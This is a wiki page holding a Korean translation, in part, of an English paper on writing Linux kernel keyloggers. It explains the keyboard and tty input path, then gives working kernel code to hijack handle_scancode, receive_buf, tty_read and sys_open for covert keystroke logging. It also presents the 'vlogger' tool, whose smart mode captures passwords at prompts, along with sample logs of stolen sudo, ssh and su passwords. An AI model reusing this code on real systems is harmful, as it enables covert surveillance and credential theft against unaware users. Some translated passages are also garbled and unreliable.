· KLDP.org · KLDP.net · KLDP Wiki · KLDP BBS ·
Writing Linux Kernel Keylogger



번역 : 이상인, delpai at hotmail dot com

번역이 잘못된 부분이 많이 있을 거에요. 다 영어 실력이 미숙한 제탓입니다 T_T 혹시나 발견하면 고쳐주세요! 원본은 [http]http://www.thc.org/papers/writing-linux-kernel-keylogger.txt 다음과 같습니다. 프랙에도 올라왔었죠~!

-- delpai 2004-07-09 16:43:58






1. - Introduction


This article is divided into two parts. The first part of the paper gives an overview on how the linux keyboard driver work, and discusses methods that can be used to create a kernel based keylogger. This part will be useful for those who want to write a kernel based keylogger, or to write their own keyboard driver (for supporting input of non-supported language in linux environment, ...) or to program taking advantage of many features in the Linux keyboard driver.

이 논문은 두개 부분으로 나누어져있다. 논문의 첫번째 부분은 리눅스 키보드 드라이버가 어떻게 돌아가는지 개괄적인 내용을 알아보 고 커널 기반의 키로거를 제작할때 쓸수 있는 내용에 대해 토론한다. 이 부분은 커널 기반의 키로거를 쓰거나 우리의 키보드 드라이버 를 제작하거나(for supporting input of non-supported language in linux environment, ...) 리눅스 키보드 드라이버를 이용하는 프 로그램에서 많은 특징적인 이점을 가지는데 유용할 것이다.

The second part presents detail of vlogger, a smart kernel based linux keylogger, and how to use it. Keylogger is a very interesting code being used widely in honeypots, hacked systems, ... by white and black hats. As most of us known, besides user space keyloggers (such as iob, uberkey,unixkeylogger, ...), there are some kernel based keyloggers. The earliest kernel based keylogger is linspy of halflife which was published in Phrack50 (see 4). And the recent kkeylogger is presented in 'Kernel Based Keylogger' paper by mercenary (see 7) that I found when was writing this paper. The common method of those kernel based keyloggers using is to log user keystrokes by intercepting sys_read or sys_write system call. However, this approach is quite unstable and slowing down the whole system noticeably because sys_read (or sys_write) is the generic read/write function of the system; sys_read is called whenever a process wants to read something from devices (such as keyboard, file, serial port, ...). In vlogger, I used a better way to implement it that hijacks the tty buffer processing function.

두번째 부분은 vlogger를 설명하고 어떻게 사용하는지에 서술한다. 키로거는 좋고 나쁜 해커들에 의해 허니팟, 시스템을 해킹할때 크 게 사용되는 매우 흥미로운 코드이다. 우리 주변에 알려진 유저공간 키로거(iob, uberkey, unixkeylogger,...)는 커널기반의 키로거들 이다. 일찍이 커널기반의 키로거는 Phrack 50에 발표된 halflife의 linspy이다. 그리고 최근 kkeylogger는 mecenay의 'Kernel Based Keylogger' 논문이다.커널 기반의 키로거의 공통 내용은 sys_read나 sys_write 시스템 콜을 가로챔으로 로그 유저 키스트로커를 사용 하였다. 그러나 일반적인 읽고/쓰는 시스템 함수인 sys_read나 sys_write때문에 전체 시스템이 불안정해지고 느려진다.; sys_read는 장치(키보드, 파일, 시리얼 포트,etc..)로부터 무언가를 읽기를 원하는 프로세스가 호출한다. vlogger는 tty 버퍼 프로세싱 함수를 가 로채는 더 좋은 방법을 사용하였다.

The reader is supposed to possess the knowledge on Linux Loadable Kernel Module. Articles 1 and 2 are recommended to read before further reading.

2. - How Linux Keyboard driver work


Lets take a look at below figure to know how user inputs from console keyboard are processed:

  _____________            _________             _________         
 /             \ put_queue|         |receive_buf|         |tty_read
/handle_scancode\-------->|tty_queue|---------->|tty_ldisc|------->
\               /         |         |           |buffer   |        
 \_____________/          |_________|           |_________|        

     _________          ____________
    |         |sys_read|            |
--->|/dev/ttyX|------->|user process|
    |         |        |            |
    |_________|        |____________|

                            Figure 1


First, when you press a key on the keyboard, the keyboard will send corresponding scancodes to keyboard driver. A single key press can produce a sequence of up to six scancodes.

첫번째, 당신이 키보드의 키를 누를때, 키보드는 키보드 드라이버에 스캔코드를 보낼것이다. 한번 키를 누를때 여섯개의 스캔코드를 연속적으로 생성한다.

The handle_scancode() function in the keyboard driver parses the stream of scancodes and converts it into a series of key press and key release events called keycode by using a translation-table via kbd_translate() function. Each key is provided with a unique keycode k in the range 1-127. Pressing key k produces keycode k, while releasing it produces keycode k+128.

handle_scancode() 함수는 스캔코드의 스트림을 분석하고 키 누름과, 키 놓음 이번트는 kbd_translate()를 거쳐 translation-table을 사용하여 키코드를 호출한다.. 각각의 키는 1-127 사이의 유일한 키코드 k를 규정하였다. k를 누르면 키코드 k를 생산하고, 놓으면 k+128 키코드를 생산한다.

For example, keycode of 'a' is 30. Pressing key 'a' produces keycode 30. Releasing 'a' produces keycode 158 (128+30).

예를 들어, 'a'의 키코드가 30이다. a를 누르면 키코드는 30을 생산한다. a를 놓으면 키코드 158을 생산한다(128+30).

Next, keycodes are converted to key symbols by looking them up on the appropriate keymap. This is a quite complex process. There are eight possible modifiers (shift keys - Shift , AltGr, Control, Alt, ShiftL, ShiftR, CtrlL and CtrlR), and the combination of currently active modifiers and locks determines the keymap used.

다음으로, 키코드는 적절한 키맵에서 그것을 찾아 키 심볼로 변환한다. 이것은 매우 복잡한 처리다. 8개의 변경자(shift keys - Shift, AltGr, Control, Alt, ShiftL, ShiftR, CtrlL and CtrlR)와 현재 활동중인 변경자의 배합과 locks determines the keymap used.

After the above handling, the obtained characters are put into the raw tty queue - tty_flip_buffer.

위의 핸들링을 한 뒤에, 문자를 얻고 raw tty 큐에 넣는다. - tty_flip_buffer.

In the tty line discipline, receive_buf() function is called periodically to get characters from tty_flip_buffer then put them into tty read queue.

tty 라인 discipline안에 receive_buf()함수는 주기적으로 tty read 큐안에 넣은 다음 tty_flip_buffer로부터 문자를 얻을 때 호출한다.

프로세스가 유저의 입력을 얻기 원할때 프로세스의 stdin은 read()함수를 호출한다. sys_read()함수는 입력문자를 읽어 적합한 tty(ex /dev/tty0)의 file_operations 구조체에 정의되어 있는 read()함수를 호출할 것이다.

The keyboard driver can be in one of 4 modes:

- scancode (RAW MODE): the application gets scancodes for input.

It is used by applications that implement their own keyboard

driver (ex: X11)

- keycode (MEDIUMRAW MODE): the application gets information on

which keys (identified by their keycodes) get pressed and released.

- ASCII (XLATE MODE): the application effectively gets the

characters as defined by the keymap, using an 8-bit encoding.

- Unicode (UNICODE MODE): this mode only differs from the ASCII

mode by allowing the user to compose UTF8 unicode characters by their decimal value, using Ascii_0 to Ascii_9, or their hexadecimal (4-digit) value, using Hex_0 to Hex_9. A keymap can be set up to produce UTF8 sequences (with a U+XXXX pseudo-symbol, where each X is an hexadecimal digit).

Those modes influence what type of data that applications will get as keyboard input. For more details on scancode, keycode and keymaps, please read 3.

The keyboard driver can be in one of 4 modes:

- scandcode (RAW MODE) : 응용프로그램은 입력을 위해 스캔코드를 얻는다.

키보드 드라이버는 응용프로그램에 의해 사용된다.

- keycode (MEDIUMRAW MODE) : 응용프로그램은 어떤 키가 (그들의 키코드에

정의되어있는) 눌러졌을때와 놓아졌을때 정보를 얻는다.

- ASCII (XLATE MODE) : 응용프로그램은 8bit 암호문을 사용한 키맵에 정의

된 문자를 얻는다.

- Unicode (UNICODE MODE) : 이모드는 Ascii_0부터 Ascii_9나 그들의

hexadecimal(4-digit) 값을 사용하는 십진 값에 의해 UTF8 유니코드 문자 를 조립하는 것을 유저에게 허락하는 것이 ASCII 모드와 단지 다른점이다. 키맵은 UTF8을 연속적으로 생산하여 설정할 수 있다.(with a U+XXXX pseudo-symbol, where each X is an hexadecimal digit).

모드는 키보드 입력으로 얻는 응용프로그램의 데이터의 유형이 무엇인지에 영향을 받는다. scancode, keycode나 keymaps에 대해 더

설명을 원하면 3을 읽어라.

3. - Kernel based keylogger approaches


We can implement a kernel based keylogger in two ways by writing our own keyboard interrupt handler or hijacking one of input processing functions.

우리는 자신의 키보드 인터럽트 핸들러를 쓰거나 입력 프로세싱 함수를 가로채는 두가지 방법으로 커널 기반의 키로거를 만들수 있다(?)

3.1. - Interrupt handler


To log keystrokes, we will use our own keyboard interrupt handler. Under Intel architectures, the IRQ of the keyboard controlled is IRQ 1. When receives a keyboard interrupt, our own keyboard interrupt handler read the scancode and keyboard status. Keyboard events can be read and written via port 0x60(Keyboard data register) and 0x64(Keyboard status register).

키스트로크를 사용할때, 우리는 자신의 키보드 인터럽트 핸들러를 사용할수 있다. Intel 아키텍쳐에는 키보드 컨트롤의 IRQ가 IRQ 1이 다. 키보드 인터럽트를 받을 때 자신의 키보드 인터럽트 핸들러는 scancode와 키보드 상태를 읽는다. 키보드 이벤트는 0x60(Keyboard data register)와 0x64(Keyboard status register)를 통해 읽고 쓸수 있다.

/* below code is intel specific */
#define KEYBOARD_IRQ 1 
#define KBD_STATUS_REG 0x64 
#define KBD_CNTL_REG 0x64 
#define KBD_DATA_REG 0x60 

#define kbd_read_input() inb(KBD_DATA_REG)
#define kbd_read_status() inb(KBD_STATUS_REG)
#define kbd_write_output(val) outb(val, KBD_DATA_REG)
#define kbd_write_command(val) outb(val, KBD_CNTL_REG)

/* register our own IRQ handler */
request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);

In my_keyboard_irq_handler():
        scancode = kbd_read_input();
        key_status = kbd_read_status();
        log_scancode(scancode);


이 내용은 플램폼에 의존적이다. 그래서 플랫폼 사이에 이식할수 없다. 그리고 당신의 컴퓨터가 폭주나 고장나는 것을 원치 않을때는 인터럽트 핸들러를 사용할때 특히 조심해라.

3.2. - Function hijacking


Based on the Figure 1, we can implement our keylogger to log user inputs by hijacking one of handle_scancode(), put_queue(), receive_buf(), tty_read() and sys_read() functions. Note that we can't intercept tty_insert_flip_char() function because it is an INLINE function.

Figure 1을 기반으로 우리는 handle_scancode(), put_queue(), receive_buf(), tty_read()와 sys_read()함수를 가로채 유저 입력을 로 그하는 키로거를 할 수 있다. tty_insert_flip_char()함수는 INLINE 함수이기 때문에 가로챌수 없다.

3.2.1. - handle_scancode


This is the entry function of the keyboard driver (see keyboard.c). It handles scancodes which are received from keyboard.

이것은 키보드 드라이버(see keyboard.c)의 함수다. 이것은 키보드로부터 받은 scancode를 처리한다.

# /usr/src/linux/drives/char/keyboard.c void handle_scancode(unsigned char scancode, int down);

We can replace original handle_scancode() function with our own to logs all scancodes. But handle_scancode() function is not a global and exported function. So to do this, we can use kernel function hijacking technique introduced by Silvio (see 5).

우리는 원래의 handle_scancode() 함수를 모든 스캔코드를 기록하도록 우리가 작성한 함수로 바꿔치기 할 수 있다. 하지만 handle_scancode() 함수는 익스포트 되어진 전역 함수(exported global function)가 아니다. 따라서 (원본 handle_scancode()를 우리가 만든 버전으로 바꿔치기 위하여), 우리는 Silvio가 소개한 커널함수 가로채기 테크닉(5)을 사용할 수 있다.

/* below is a code snippet written by Plasmoid */
static struct semaphore hs_sem, log_sem;
static int logging=1;

#define CODESIZE 7
static char hs_code[CODESIZE];
static char hs_jump[CODESIZE] =
       "\xb8\x00\x00\x00\x00"      /*      movl   $0,%eax  */
       "\xff\xe0"                  /*      jmp    *%eax    */
   ;

void (*handle_scancode) (unsigned char, int) =
        (void (*)(unsigned char, int)) HS_ADDRESS;

void _handle_scancode(unsigned char scancode, int keydown)
{
       if (logging && keydown)
          log_scancode(scancode, LOGFILE);
    
       /*
        * Restore first bytes of the original handle_scancode code.  Call
        * the restored function and re-restore the jump code.  Code is
        * protected by semaphore hs_sem, we only want one CPU in here at a
        * time.
        */    
       down(&hs_sem);
    
       memcpy(handle_scancode, hs_code, CODESIZE);
       handle_scancode(scancode, keydown);
       memcpy(handle_scancode, hs_jump, CODESIZE);
    
       up(&hs_sem);
}

HS_ADDRESS is set by the Makefile executing this command
HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode))


Similar to method presented in 3.1, the advantage of this method is the ability to log keystrokes under X and the console, no matter if a tty is invoked or not. And you will know exactly what key is pressed on the keyboard (including special keys such as Control, Alt, Shift, Print Screen, ...). But this method is platform dependent and won't be portable among platforms. This method also can't log keystroke of remote sessions and is quite complex for building an advance logger.

3.1절에서 보인 방법과 마찬가지로, 이 방법의 장점은 tty 호출 여부에 상관 없이 X나 콘솔에서의 키 입력을 기록할 수 있다는 것이다. 또한 키보드에서 정확히 어떤 키(Control, Alt, Shift, Print Screen 등의 특수키 포함)가 눌려졌는지 알 수 있다. 하지만 이 방법은 플랫폼 의존적이며 플랫폼간 이식이 불가능하다. 또한, 이 방법은 원격 세션(remote session)의 키 입력은 기록할 수 없으며, 어드밴스드 로거를 만들기에는 꽤 복잡한 방법이다.

3.2.2. - put_queue


This function is called by handle_scancode() function to put characters into tty_queue.

이 함수는 ttyp_queue에 문자가 넣어졌을때 handle_scancode()에 의해 호출된다.

# /usr/src/linux/drives/char/keyboard.c
void put_queue(int ch);


To intercept this function, we can use the above technique as in section (3.2.1).

이 함수를 가로채기 위해, 우리는 섹션(3.2.1)처럼 기술을 사용해야 한다.

3.2.3. - receive_buf


receive_buf() function is called by the low-level tty driver to send characters received by the hardware to the line

discipline for processing.

receive_buf() 함수는 처리를 위해 line discipline에서 하드웨어에 의해 받은 문자를 low-level tty 드라이버에 보내기 위해 호출된 다.

# /usr/src/linux/drivers/char/n_tty.c */
static void n_tty_receive_buf(struct tty_struct *tty, const 
                                unsigned char *cp, char *fp, int count)


cp is a pointer to the buffer of input character received by the device. fp is a pointer to a pointer of flag bytes which indicate whether a character was received with a parity error, etc.

cp는 장치에서 받은 문자열의 입력 버퍼의 포인터이다. fp는 패리티 에러와 함께 받은 문자인지 아닌지를 가리키는 상태 바이트의 포인터이다.

Lets take a deeper look into tty structures tty 구조체를 유심히 보자.

# /usr/include/linux/tty.h
struct tty_struct {
        int     magic;
        struct tty_driver driver;
        struct tty_ldisc ldisc;
        struct termios *termios, *termios_locked;
        ...
}

# /usr/include/linux/tty_ldisc.h
struct tty_ldisc {
        int     magic;
        char    *name;
        ...    
        void    (*receive_buf)(struct tty_struct *,
                        const unsigned char *cp, char *fp, int count);
        int     (*receive_room)(struct tty_struct *);
        void    (*write_wakeup)(struct tty_struct *);
};


To intercept this function, we can save the original tty receive_buf() function then set ldisc.receive_buf to our own new_receive_buf() function in order to logging user inputs.

이 함수를 가로채기 위해 우리는 원본 tty_receive_buf()함수를 저장하고, 유저 입력을 기록하는 new_receive_buf()함수를 ldisc.receive_buf로 설정한다.

Ex: to log inputs on the tty0

int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
struct tty_struct *tty = file->private_data;
old_receive_buf = tty->ldisc.receive_buf;
tty->ldisc.receive_buf = new_receive_buf;

void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
                                                char *fp, int count)
{      
        logging(tty, cp, count);        //log inputs

        /* call the original receive_buf */
        (*old_receive_buf)(tty, cp, fp, count);
}


3.2.4. - tty_read


This function is called when a process wants to read input characters from a tty via sys_read() function.

이 함수는 sys_read()함수를 통한 tty로부터 입력 문자를 읽기 원하는 프로세스가 호출한다.

# /usr/src/linux/drives/char/tty_io.c
static ssize_t tty_read(struct file * file, char * buf, size_t count,
                                loff_t *ppos)

static struct file_operations tty_fops = {
        llseek:         tty_lseek,
        read:           tty_read,
        write:          tty_write,
        poll:           tty_poll,
        ioctl:          tty_ioctl,
        open:           tty_open,
        release:        tty_release,
        fasync:         tty_fasync,
};


To log inputs on the tty0:

int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);  
old_tty_read = file->f_op->read;
file->f_op->read = new_tty_read;


3.2.5. - sys_read/sys_write


We will intercept sys_read/sys_write system calls to redirect it to our own code which logs the content of the read/write calls. This method was presented by halflife in Phrack 50 (see 4). I highly recommend reading that paper and a great article written by pragmatic called "Complete Linux Loadable Kernel Modules" (see 2).

우리는 sys_read/sys_write 시스템 호출을 가로채 read/write 호출의 내용의 기록을 우리의 코드로 방향을 바꿀수 있다. 이방법은 Phrack 50(see 4)에서 halflife에 의해 현재 사용되고 있다. I highly recommend reading that paper and a great article written by pragmatic called "Complete Linux Loadable Kernel Modules" (see 2).

- vlogger

This part will introduce my kernel keylogger which is used method described in section 3.2.3 to acquire more abilities than

common keyloggers used sys_read/sys_write systemcall replacement approach. I have tested the code with the following versions of linux kernel: 2.4.5, 2.4.7, 2.4.17 and 2.4.18.

이 부분은 sys_read/sys_write 시스템콜을 대체하는 것을 사용한 키로거보다 더 많은 기능을 요구하는 section 3.2.3 에 설명되어있는 방법을 사용한 내 커널 키로거에 대해 소개할 것이다. 나는 다음과 같은 리눅스 커널버젼에서 코드를 실험해보았다 : 2.4.5, 2.4.7, 2.4.17, 2.4.18

3.3. - The syscall/tty approach


To logging both local (logged from console) and remote sessions, I chose the method of intercepting receive_buf() function (see 3.2.3).

로컬(콘솔로부터)과 원격 세션을 동시에 로깅하기 위해 나는 receive_buf()함수를 가로채는 방법을 선택하였다.(See 3.2.3)

In the kernel, tty_struct and tty_queue structures are dynamically allocated only when the tty is open. Thus, we also have to intercept sys_open syscall to dynamically hooking the receive_buf() function of each tty or pty when it's invoked.

커널에서 tty_struct와 tty_queue 구조체는 tty가 오픈될때마다 동적으로 할당된다. 그래서, 우리는 또한 tty나 pty가 호출될때 receive_buf()함수를 동적으로 후킹해 sys_open 시스콜을 가로챘다.

// to intercept open syscall
original_sys_open = sys_call_table[__NR_open];
sys_call_table[__NR_open] = new_sys_open;

// new_sys_open()
asmlinkage int new_sys_open(const char *filename, int flags, int mode)
{
...
        // call the original_sys_open
        ret = (*original_sys_open)(filename, flags, mode);
        
        if (ret >= 0) {
                struct tty_struct * tty;
...
                file = fget(ret);
                tty = file->private_data;
                if (tty != NULL &&
...
                        tty->ldisc.receive_buf != new_receive_buf) {
...
                                // save the old receive_buf                    
                                old_receive_buf = tty->ldisc.receive_buf;
...

                       /* 
                        * init to intercept receive_buf of this tty
                        * tty->ldisc.receive_buf = new_receive_buf;
                        */
                        init_tty(tty, TTY_INDEX(tty));
                }
...
}

// our new receive_buf() function
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
                                                char *fp, int count)
{
        if (!tty->real_raw && !tty->raw)        // ignore raw mode
                // call our logging function to log user inputs
                vlogger_process(tty, cp, count);
        // call the original receive_buf
        (*old_receive_buf)(tty, cp, fp, count);
}


3.4. - Features


- Logs both local and remote sessions (via tty & pts)

- tty & pts를 통해 로컬과 원격 세션을 동시에 기록

- Separate logging for each tty/session. Each tty has their own logging

buffer.

- tty/session을 서로 별도로 로깅. tty가 자기만의 버퍼에 로깅한다(?)

- Nearly support all special chars such as arrow keys (left, right, up,

down), F1 to F12, Shift+F1 to Shift+F12, Tab, Insert, Delete, End, Home, Page Up, Page Down, BackSpace, ...

- 화살표 키처럼 특수 키를 모두 지원((left, right, up,

down), F1 to F12, Shift+F1 to Shift+F12, Tab, Insert, Delete, End, Home, Page Up, Page Down, BackSpace, ...

- Support some line editing keys included CTRL-U and BackSpace.

- CTRL-U 와 BackSpace를 포함한 라인 편집키를 지원.

- Timestamps logging, timezone supported (ripped off some codes from

libc).

- 타임스탬프 로깅, 타임존 지원(libc로부터 약간의 코드를 사용)

- Multiple logging modes

- 다양한 로깅 모드

o dumb mode: logs all keystrokes

o dumb mode: 모든 키를 기록

o smart mode: detects password prompt automatically to log user/password only. I used the similar technique presented in "Passive Analysis of SSH (Secure Shell) Traffic" paper by Solar Designer and Dug Song (see 6). When the application turns input echoing off, we assume that it is for entering a password.

o smart mode: 유저/암호를 로그할때 자동적으로 암호 프롬프트 감지. Solar Designer and Dug Song (see 6)가

쓴"Passive Analysis of SSH (Secure Shell) Traffic"에서의 비슷한 기술을 사용하였다. 응용프로그 램의 입력

방향을 없앨때, 암호를 입력하는것처럼 가장했다.

o normal mode: disable logging o normal mode: 로깅 해제.

You can switch between logging modes by using a magic password.

#define VK_TOGLE_CHAR   29      // CTRL-]
#define MAGIC_PASS      "31337" // to switch mode, type MAGIC_PASS
                                // then press VK_TOGLE_CHAR key


3.5. - How to use


Change the following options

// directory to store log files
#define LOG_DIR "/tmp/log"

// your local timezone
#define TIMEZONE        7*60*60 // GMT+7

// your magic password
#define MAGIC_PASS      "31337" 


Below is how the log file looks like:

[root@localhost log]# ls -l
total 60
-rw-------    1 root     root          633 Jun 19 20:59 pass.log
-rw-------    1 root     root        37593 Jun 19 18:51 pts11
-rw-------    1 root     root           56 Jun 19 19:00 pts20
-rw-------    1 root     root          746 Jun 19 20:06 pts26
-rw-------    1 root     root          116 Jun 19 19:57 pts29
-rw-------    1 root     root         3219 Jun 19 21:30 tty1
-rw-------    1 root     root        18028 Jun 19 20:54 tty2


---in dumb mode

[root@localhost log]# head tty2		// local session
<19/06/2002-20:53:47 uid=501 bash> pwd
<19/06/2002-20:53:51 uid=501 bash> uname -a
<19/06/2002-20:53:53 uid=501 bash> lsmod
<19/06/2002-20:53:56 uid=501 bash> pwd
<19/06/2002-20:54:05 uid=501 bash> cd /var/log
<19/06/2002-20:54:13 uid=501 bash> tail messages
<19/06/2002-20:54:21 uid=501 bash> cd ~
<19/06/2002-20:54:22 uid=501 bash> ls
<19/06/2002-20:54:29 uid=501 bash> tty
<19/06/2002-20:54:29 uid=501 bash> [UP]

[root@localhost log]# tail pts11	// remote session  
<19/06/2002-18:48:27 uid=0 bash> cd new
<19/06/2002-18:48:28 uid=0 bash> cp -p ~/code .
<19/06/2002-18:48:21 uid=0 bash> lsmod
<19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/
<19/06/2002-18:48:28 uid=0 bash> ls -l
<19/06/2002-18:48:30 uid=0 bash> tail pts11
<19/06/2002-18:48:38 uid=0 bash> [UP] | more
<19/06/2002-18:50:44 uid=0 bash> vi vlogertxt
<19/06/2002-18:50:48 uid=0 vi> :q
<19/06/2002-18:51:14 uid=0 bash> rmmod vlogger


---in smart mode

[root@localhost log]# cat pass.log
[19/06/2002-18:28:05 tty=pts/20 uid=501 sudo]
USER/CMD sudo traceroute yahoo.com
PASS 5hgt6d
PASS 

[19/06/2002-19:59:15 tty=pts/26 uid=0 ssh]
USER/CMD ssh guest@host.com
PASS guest

[19/06/2002-20:50:44 tty=pts/29 uid=504 ftp]
USER/CMD open ftp.ilog.fr
USER Anonymous
PASS heh@heh

[19/06/2002-20:59:54 tty=pts/29 uid=504 su]
USER/CMD su -
PASS asdf1234


Please check [http]http://www.thc.org/ for update on the new version of this tool.

4. - Greets


Thanks to plasmoid, skyper for your very useful comments Greets to THC, vnsecurity and all friends Finally, thanks to mr. thang for english corrections

5. - References


1 Linux Kernel Module Programming


2 Complete Linux Loadable Kernel Modules - Pragmatic


3 The Linux keyboard driver - Andries Brouwer


4 Abuse of the Linux Kernel for Fun and Profit - Halflife


5 Kernel function hijacking - Silvio Cesare


6 Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer


7 Kernel Based Keylogger - Mercenary





sponsored by andamiro
sponsored by cdnetworks
sponsored by HP

Valid XHTML 1.0! Valid CSS! powered by MoniWiki
last modified 2007-02-16 07:58:58
Processing time 0.0198 sec